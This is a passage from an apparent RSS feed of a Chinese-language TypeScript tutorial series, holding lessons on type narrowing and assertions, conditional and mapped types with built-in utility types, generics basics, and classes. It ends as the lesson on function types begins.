}
function move(x: Fish | Bird): void {
  if (isFish(x)) x.swim(); // 收窄为 Fish
  else x.fly();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;x is Fish&lt;/code&gt; 告诉 TS：&quot;这个函数返回 true 时，x 就是 Fish&quot;，从而在调用处自动收窄。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. 断言 as 与非空 !&lt;/h2&gt;
&lt;p&gt;⚠️ 这两是&quot;我比编译器更懂&quot;的逃生舱，&lt;strong&gt;慎用&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const el = document.getElementById(&quot;app&quot;) as HTMLDivElement; // 断言类型
const len = (el as any).length;                              // 双断言链，危险

function f(x: string | null): number {
  return x!.length; // 非空断言：你保证 x 非 null，否则运行时炸
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;规则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;优先用收窄，别用 &lt;code&gt;as&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;必须断言时，用 &lt;code&gt;as&lt;/code&gt; 一步到位，避免 &lt;code&gt;as any as X&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!&lt;/code&gt; 只在你&lt;strong&gt;确定&lt;/strong&gt;非空时用，否则把运行时错误藏起来。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;联合 &lt;code&gt;A | B&lt;/code&gt; 与字面量联合是灵活 API 的基础。&lt;/li&gt;
&lt;li&gt;收窄手段：&lt;code&gt;typeof&lt;/code&gt;/&lt;code&gt;instanceof&lt;/code&gt;/&lt;code&gt;in&lt;/code&gt;/&lt;code&gt;===&lt;/code&gt;/自定义 &lt;code&gt;is&lt;/code&gt;/可辨识联合。&lt;/li&gt;
&lt;li&gt;可辨识联合 + &lt;code&gt;never&lt;/code&gt; 穷尽检查 = 漏 case 编译期报错。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;as&lt;/code&gt;/&lt;code&gt;!&lt;/code&gt; 是逃生舱，能收窄就别断言。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;定义可辨识联合 &lt;code&gt;type Resp = { ok: true; data: string } | { ok: false; error: string }&lt;/code&gt;，写 &lt;code&gt;handle(r: Resp)&lt;/code&gt; 用 &lt;code&gt;switch&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;给上题加 &lt;code&gt;never&lt;/code&gt; 穷尽检查，然后新增一个 &lt;code&gt;ok&lt;/code&gt; 变体看是否报错。&lt;/li&gt;
&lt;li&gt;写 &lt;code&gt;isString(x: unknown): x is string&lt;/code&gt; 守卫函数，并在 &lt;code&gt;format&lt;/code&gt; 里用它收窄。&lt;/li&gt;
&lt;li&gt;解释 &lt;code&gt;as any&lt;/code&gt; 为什么危险，什么场景才该用 &lt;code&gt;as&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>07 · 泛型进阶与内置工具类型</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-07-generics-advanced/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-07-generics-advanced/</guid><description>TypeScript 类型编程核心：条件类型 T extends U ? X : Y、infer 提取类型、映射类型 { [K in keyof T]: ... }、keyof 与索引访问，以及 Partial/Required/Readonly/Pick/Omit/Record/ReturnType 等内置工具类型的原理与用法。</description><pubDate>Sun, 27 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本篇进入&quot;类型编程&quot;：用类型去操作类型。条件类型、infer、映射类型是 TS 类型系统的三把瑞士军刀，内置工具类型都建立在它们之上。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 条件类型&lt;/h2&gt;
&lt;p&gt;语法像三元表达式，但在类型层面：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type IsString&amp;lt;T&amp;gt; = T extends string ? &quot;yes&quot; : &quot;no&quot;;
type A = IsString&amp;lt;&quot;hi&quot;&amp;gt;;  // &quot;yes&quot;
type B = IsString&amp;lt;42&amp;gt;;    // &quot;no&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意 &lt;code&gt;T extends U&lt;/code&gt; 在条件类型里，若 &lt;code&gt;T&lt;/code&gt; 是&lt;strong&gt;联合&lt;/strong&gt;，会发生&lt;strong&gt;分布式条件&lt;/strong&gt;——对联合每个成员分别求值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type ToArray&amp;lt;T&amp;gt; = T extends any ? T[] : never;
type R = ToArray&amp;lt;string | number&amp;gt;; // string[] | number[]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;想&lt;strong&gt;关闭分发&lt;/strong&gt;，用元组包一层：&lt;code&gt;[T] extends [any]&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. infer 提取类型&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;infer&lt;/code&gt; 在 &lt;code&gt;extends&lt;/code&gt; 中&quot;占位&quot;提取一部分类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type ElementType&amp;lt;T&amp;gt; = T extends (infer U)[] ? U : T;
type E = ElementType&amp;lt;number[]&amp;gt;; // number

type ReturnOf&amp;lt;T&amp;gt; = T extends (...args: any[]) =&amp;gt; infer R ? R : never;
type R = ReturnOf&amp;lt;() =&amp;gt; boolean&amp;gt;; // boolean
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;infer U&lt;/code&gt; 表示&quot;这里有个待推断的类型&quot;，匹配成功后被绑定到 &lt;code&gt;U&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. keyof 与索引访问&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;interface User { id: number; name: string }
type Keys = keyof User;        // &quot;id&quot; | &quot;name&quot;
type NameType = User[&quot;name&quot;];  // string
type AllValues = User[keyof User]; // number | string
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;keyof T&lt;/code&gt; 得到 T 所有键的联合；&lt;code&gt;T[K]&lt;/code&gt; 得到键 K 对应的值类型。两者结合可写出&quot;按 key 取值&quot;的泛型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function getProp&amp;lt;T, K extends keyof T&amp;gt;(obj: T, key: K): T[K] {
  return obj[key];
}
getProp({ id: 1, name: &quot;Tom&quot; }, &quot;name&quot;); // 返回 string，类型精确
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 映射类型&lt;/h2&gt;
&lt;p&gt;遍历一个类型的所有键，逐一变换：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Optional&amp;lt;T&amp;gt; = {
  [K in keyof T]?: T[K];
};
type PartialUser = Optional&amp;lt;User&amp;gt;; // { id?: number; name?: string }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;in keyof T&lt;/code&gt; 遍历键；&lt;code&gt;?&lt;/code&gt; 加可选；&lt;code&gt;T[K]&lt;/code&gt; 取原值类型。这是 &lt;code&gt;Partial&lt;/code&gt; 的底层实现。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 内置工具类型（必背）&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;工具类型&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;th&gt;近似实现&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Partial&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;全部变可选&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{ [K in keyof T]?: T[K] }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Required&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;全部必填&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{ [K in keyof T]-?: T[K] }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Readonly&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;全部只读&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{ readonly [K in keyof T]: T[K] }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Pick&amp;lt;T, K&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;挑部分键&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{ [P in K]: T[P] }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Omit&amp;lt;T, K&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;排除部分键&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Pick&amp;lt;T, Exclude&amp;lt;keyof T, K&amp;gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Record&amp;lt;K, V&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;键到值的映射&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{ [P in K]: V }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Exclude&amp;lt;T, U&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;排除联合成员&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T extends U ? never : T&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Extract&amp;lt;T, U&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;提取联合成员&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T extends U ? T : never&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NonNullable&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;去掉 null/undefined&lt;/td&gt;
&lt;td&gt;`T extends null&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ReturnType&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;函数返回值类型&lt;/td&gt;
&lt;td&gt;用 infer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Parameters&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;函数参数元组&lt;/td&gt;
&lt;td&gt;用 infer&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;用法示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type UserPreview = Pick&amp;lt;User, &quot;id&quot; | &quot;name&quot;&amp;gt;; // { id: number; name: string }
type UserInput = Omit&amp;lt;User, &quot;id&quot;&amp;gt;;            // 创建时不需要 id
type Dict = Record&amp;lt;string, number&amp;gt;;          // { [k: string]: number }

function load(): { data: string } { return { data: &quot;&quot; }; }
type LoadResult = ReturnType&amp;lt;typeof load&amp;gt;;    // { data: string }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 组合使用&lt;/h2&gt;
&lt;p&gt;工具类型可嵌套组合，表达复杂变换：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type DeepPartial&amp;lt;T&amp;gt; = {
  [K in keyof T]?: T[K] extends object ? DeepPartial&amp;lt;T[K]&amp;gt; : T[K];
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是递归映射类型（类型体操入门，第 9 篇深入）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;条件类型 &lt;code&gt;T extends U ? X : Y&lt;/code&gt;，联合会分发；&lt;code&gt;[T]&lt;/code&gt; 包元组可关分发。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;infer&lt;/code&gt; 在 extends 中提取子类型。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;keyof&lt;/code&gt; + &lt;code&gt;T[K]&lt;/code&gt; 实现&quot;按键取值&quot;的精确类型。&lt;/li&gt;
&lt;li&gt;映射类型 &lt;code&gt;{ [K in keyof T]: ... }&lt;/code&gt; 遍历变换键。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Partial/Pick/Omit/Record/ReturnType&lt;/code&gt; 等内置工具建立在这四者之上。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用 &lt;code&gt;infer&lt;/code&gt; 实现 &lt;code&gt;FirstArg&amp;lt;F&amp;gt;&lt;/code&gt; 提取函数第一个参数类型。&lt;/li&gt;
&lt;li&gt;用映射类型实现 &lt;code&gt;Mutable&amp;lt;T&amp;gt;&lt;/code&gt;（去掉所有 readonly）。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;Pick&lt;/code&gt; 和 &lt;code&gt;Omit&lt;/code&gt; 从 &lt;code&gt;interface Post { id; title; body; author }&lt;/code&gt; 派生 &lt;code&gt;PostMeta&lt;/code&gt;（去掉 body）。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;Record&lt;/code&gt; 定义 &lt;code&gt;type HttpCodes = Record&amp;lt;&quot;OK&quot; | &quot;NotFound&quot;, number&amp;gt;&lt;/code&gt; 并赋值。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>06 · 泛型基础</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-06-generics-basic/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-06-generics-basic/</guid><description>TypeScript 泛型入门：为什么需要泛型、泛型函数 identity、泛型约束 extends、泛型默认值、泛型接口与泛型类、多个类型参数。用泛型写出可复用且类型安全的代码。</description><pubDate>Sun, 27 Sep 2026 08:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
泛型 = &quot;参数化的类型&quot;。它让函数/类/接口在&lt;strong&gt;保持类型安全&lt;/strong&gt;的同时适配多种类型。本篇打基础，第 7 篇讲进阶玩法。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 为什么需要泛型&lt;/h2&gt;
&lt;p&gt;没有泛型时，想写一个&quot;返回传入值&quot;的函数只能退化成 &lt;code&gt;any&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function identity(arg: any): any {
  return arg;
}
const x = identity(10); // x 是 any，丢了 number 信息
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用泛型保留类型信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function identity&amp;lt;T&amp;gt;(arg: T): T {
  return arg;
}
const x = identity(10);   // x: number
const s = identity(&quot;hi&quot;); // s: string
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;T&lt;/code&gt; 是&lt;strong&gt;类型参数&lt;/strong&gt;，调用时由实参推断。返回值类型和入参类型被&quot;绑定&quot;在一起。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 泛型函数&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function first&amp;lt;T&amp;gt;(arr: T[]): T | undefined {
  return arr[0];
}
first([1, 2, 3]);     // number | undefined
first([&quot;a&quot;, &quot;b&quot;]);    // string | undefined
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;多个类型参数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function pair&amp;lt;K, V&amp;gt;(key: K, value: V): [K, V] {
  return [key, value];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 泛型约束 extends&lt;/h2&gt;
&lt;p&gt;有时你想限制 &lt;code&gt;T&lt;/code&gt; &quot;至少长什么样&quot;。用 &lt;code&gt;extends&lt;/code&gt; 约束：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface HasLength {
  length: number;
}
function longest&amp;lt;T extends HasLength&amp;gt;(a: T, b: T): T {
  return a.length &amp;gt;= b.length ? a : b;
}
longest(&quot;abc&quot;, &quot;de&quot;);   // ✅ string 有 length
longest([1, 2], [3]);   // ✅ 数组有 length
// longest(10, 20);     // ❌ number 没有 length
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;约束让 &lt;code&gt;T&lt;/code&gt; 既保留具体类型，又能安全访问 &lt;code&gt;length&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 泛型默认值&lt;/h2&gt;
&lt;p&gt;类型参数也能给默认：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface ApiResponse&amp;lt;T = unknown&amp;gt; {
  code: number;
  data: T;
}
const r1: ApiResponse = { code: 0, data: null };      // data: unknown
const r2: ApiResponse&amp;lt;string&amp;gt; = { code: 0, data: &quot;ok&quot; }; // data: string
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;默认值让可选泛型更友好，常见于库的类型定义。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 泛型接口&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;interface Result&amp;lt;T&amp;gt; {
  ok: boolean;
  value: T;
}
function ok&amp;lt;T&amp;gt;(value: T): Result&amp;lt;T&amp;gt; {
  return { ok: true, value };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 泛型类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;class Stack&amp;lt;T&amp;gt; {
  private items: T[] = [];
  push(item: T): void { this.items.push(item); }
  pop(): T | undefined { return this.items.pop(); }
}
const s = new Stack&amp;lt;number&amp;gt;();
s.push(1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实例化时指定 &lt;code&gt;T&lt;/code&gt;，类内所有用到 &lt;code&gt;T&lt;/code&gt; 的地方都锁定为该类型。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. 泛型与箭头函数&lt;/h2&gt;
&lt;p&gt;给箭头函数加泛型要小心语法——&lt;code&gt;&amp;lt;T&amp;gt;&lt;/code&gt; 易被解析为 JSX：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const identity = &amp;lt;T,&amp;gt;(arg: T): T =&amp;gt; arg; // 加逗号 &amp;lt;T,&amp;gt; 避免歧义
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 &lt;code&gt;.tsx&lt;/code&gt; 文件里这个逗号&lt;strong&gt;必需&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;泛型 &lt;code&gt;&amp;lt;T&amp;gt;&lt;/code&gt; 把&quot;类型&quot;当参数，保留类型信息又复用逻辑。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;extends&lt;/code&gt; 约束 &lt;code&gt;T&lt;/code&gt; 的形态；默认值让泛型可选。&lt;/li&gt;
&lt;li&gt;泛型可用于函数、接口、类，多个类型参数用 &lt;code&gt;&amp;lt;K, V&amp;gt;&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.tsx&lt;/code&gt; 中写 &lt;code&gt;&amp;lt;T,&amp;gt;&lt;/code&gt; 防止被当成 JSX。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;写泛型函数 &lt;code&gt;last&amp;lt;T&amp;gt;(arr: T[]): T | undefined&lt;/code&gt; 返回最后一个元素。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;T extends object&lt;/code&gt; 约束写一个 &lt;code&gt;getKeys&amp;lt;T extends object&amp;gt;(o: T): (keyof T)[]&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;写泛型类 &lt;code&gt;Queue&amp;lt;T&amp;gt;&lt;/code&gt; 实现 &lt;code&gt;enqueue&lt;/code&gt;/&lt;code&gt;dequeue&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;给 &lt;code&gt;interface Box&amp;lt;T = string&amp;gt;&lt;/code&gt; 加默认值，分别用 &lt;code&gt;Box&lt;/code&gt; 和 &lt;code&gt;Box&amp;lt;number&amp;gt;&lt;/code&gt; 实例化。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>05 · 类与面向对象</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-05-class-and-oop/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-05-class-and-oop/</guid><description>TypeScript 类系统详解：class 基础、public/private/protected 修饰符、readonly、参数属性、继承 extends 与 super、abstract 抽象类、implements 实现接口、getter/setter 存取器、静态成员。</description><pubDate>Sun, 27 Sep 2026 07:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
TS 的 &lt;code&gt;class&lt;/code&gt; 是 ES6 class 的超集，额外加了&lt;strong&gt;访问控制、抽象类、参数属性&lt;/strong&gt;等 OOP 利器。本篇讲清类在 TS 里的正确打开方式。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 类的基础&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;class Person {
  name: string;
  constructor(name: string) {
    this.name = name;
  }
  greet(): string {
    return `我是 ${this.name}`;
  }
}
const p = new Person(&quot;Tom&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 访问修饰符&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;修饰符&lt;/th&gt;
&lt;th&gt;可见范围&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;public&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;默认，哪都能访问&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;private&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;仅类内部（编译期约束，&lt;strong&gt;不等于&lt;/strong&gt;运行时私有）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;protected&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;类内部 + 子类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;readonly&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;只读，初始化后不可改&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;class Account {
  private balance = 0;
  readonly id = &quot;A001&quot;;
  deposit(n: number): void {
    this.balance += n; // ✅ 内部可访问
  }
}
const a = new Account();
// a.balance; // ❌ private 外部不可访问
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：TS 的 &lt;code&gt;private&lt;/code&gt; 是&lt;strong&gt;编译期&lt;/strong&gt;检查，运行时仍可访问（编译后是普通属性）。需要真运行时私有用 &lt;code&gt;#field&lt;/code&gt;（JS 原生私有字段）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 参数属性（简写）&lt;/h2&gt;
&lt;p&gt;构造函数里直接加修饰符，会自动声明并赋值成员，少写样板：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class User {
  constructor(
    public id: number,
    public name: string,
    private token: string,
  ) {}
}
const u = new User(1, &quot;Tom&quot;, &quot;x&quot;);
u.id;    // ✅
u.token; // ❌ private
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等价于手写 &lt;code&gt;id: number; constructor(id) { this.id = id; }&lt;/code&gt;，但更简洁。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 继承 extends 与 super&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;class Animal {
  constructor(public name: string) {}
  move(): void { console.log(`${this.name} 移动`); }
}
class Dog extends Animal {
  constructor(name: string, public breed: string) {
    super(name); // 必须先调 super
  }
  bark(): void { console.log(&quot;汪&quot;); }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;子类构造函数&lt;strong&gt;必须&lt;/strong&gt;先 &lt;code&gt;super()&lt;/code&gt; 再访问 &lt;code&gt;this&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 抽象类 abstract&lt;/h2&gt;
&lt;p&gt;抽象类不能实例化，用于定义骨架：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;abstract class Shape {
  abstract area(): number; // 子类必须实现
  describe(): string {
    return `面积 ${this.area()}`;
  }
}
class Circle extends Shape {
  constructor(public r: number) { super(); }
  area(): number { return Math.PI * this.r ** 2; }
}
// new Shape(); // ❌ 抽象类不能 new
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;6. implements 实现接口&lt;/h2&gt;
&lt;p&gt;类可以&quot;实现&quot;接口，保证具备接口要求的成员：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface Loggable {
  log(): void;
}
class Logger implements Loggable {
  log(): void { console.log(&quot;log&quot;); }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;implements&lt;/code&gt; 只做&lt;strong&gt;结构检查&lt;/strong&gt;，不继承实现——接口里没有方法体。一个类可实现多个接口。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;接口 vs 抽象类：接口&lt;strong&gt;只约束形状&lt;/strong&gt;（多实现、无状态）；抽象类可&lt;strong&gt;带实现与状态&lt;/strong&gt;（单继承）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;7. 存取器 getter / setter&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;class Temperature {
  private _c = 0;
  get celsius(): number { return this._c; }
  set celsius(v: number) {
    if (v &amp;lt; -273.15) throw new Error(&quot;低于绝对零度&quot;);
    this._c = v;
  }
  get fahrenheit(): number { return this._c * 9 / 5 + 32; }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;getter/setter 让&quot;看似属性访问&quot;实则带校验逻辑，且只在 &lt;code&gt;target &amp;gt;= ES5&lt;/code&gt; 时可用。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;8. 静态成员&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;class MathUtil {
  static PI = 3.14159;
  static square(n: number): number { return n * n; }
}
MathUtil.square(3); // 不需要实例
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;修饰符 &lt;code&gt;public/private/protected/readonly&lt;/code&gt; 控制可见性与可变性（编译期）。&lt;/li&gt;
&lt;li&gt;参数属性 &lt;code&gt;constructor(public x)&lt;/code&gt; 一键声明+赋值。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;extends&lt;/code&gt; 继承，&lt;code&gt;super()&lt;/code&gt; 必须先调用；&lt;code&gt;abstract&lt;/code&gt; 定义骨架。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;implements&lt;/code&gt; 让类满足接口（多实现、无继承）；getter/setter 带逻辑的属性访问；&lt;code&gt;static&lt;/code&gt; 类级成员。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;写一个 &lt;code&gt;abstract class Vehicle { abstract wheels(): number }&lt;/code&gt;，派生 &lt;code&gt;Car&lt;/code&gt; 和 &lt;code&gt;Bike&lt;/code&gt; 实现。&lt;/li&gt;
&lt;li&gt;用参数属性写一个 &lt;code&gt;class Point { constructor(public x, public y) }&lt;/code&gt;，加 &lt;code&gt;distance()&lt;/code&gt; 方法。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;implements&lt;/code&gt; 让一个 &lt;code&gt;class Cache&lt;/code&gt; 满足 &lt;code&gt;interface Storage { get(k): string; set(k, v): void }&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;给某属性加 setter 做范围校验（如年龄 0–150），越界抛错。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>04 · 函数类型深入</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-04-function-types/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-04-function-types/</guid><description>TypeScript 函数类型的完整体系：函数类型表达式、参数与返回值注解、可选/默认/rest 参数、函数重载（overload）、this 参数与 this 类型、回调函数中的 this 安全。</description><pubDate>Sun, 27 Sep 2026 06:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
函数是 JS 的一等公民，TS 给函数类型提供了远超参数注解的能力：重载、this 约束、灵活的参数形态。本篇一次讲透。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 函数类型表达式&lt;/h2&gt;
